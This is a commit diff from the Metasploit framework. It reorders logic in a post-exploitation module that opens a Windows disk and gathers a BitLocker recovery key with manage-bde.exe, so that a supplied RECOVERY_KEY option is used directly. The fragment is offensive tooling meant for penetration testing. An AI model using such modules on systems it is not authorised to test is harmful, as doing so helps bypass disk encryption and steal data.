if recovery_key specified, only method that is tried

bug/bundler_fix
BAZIN-HSC 2015-11-12 19:20:45 +01:00
parent f49d6905a6
commit dd027982ae
1 changed files with 19 additions and 19 deletions

View File

@ -68,6 +68,10 @@ class Metasploit3 < Msf::Post
print_good("Successfuly opened Disk #{drive_number}") print_good("Successfuly opened Disk #{drive_number}")
seek_relative_volume(0) seek_relative_volume(0)
if !datastore['RECOVERY_KEY'].nil?
print_status('Using provided recovery key')
recovery_key = datastore['RECOVERY_KEY']
else
print_status('Trying to gather a recovery key') print_status('Trying to gather a recovery key')
cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe", cmd_out = cmd_exec("#{system_root}\\sysnative\\manage-bde.exe",
@ -90,10 +94,6 @@ class Metasploit3 < Msf::Post
print_good("Recovery key generated successfuly : #{recovery_key}") print_good("Recovery key generated successfuly : #{recovery_key}")
else else
print_status('Recovery Key generation failed') print_status('Recovery Key generation failed')
if !datastore['RECOVERY_KEY'].nil?
print_status('Using provided recovery key')
recovery_key = datastore['RECOVERY_KEY']
else
print_status('No recovery key can be used') print_status('No recovery key can be used')
return return
end end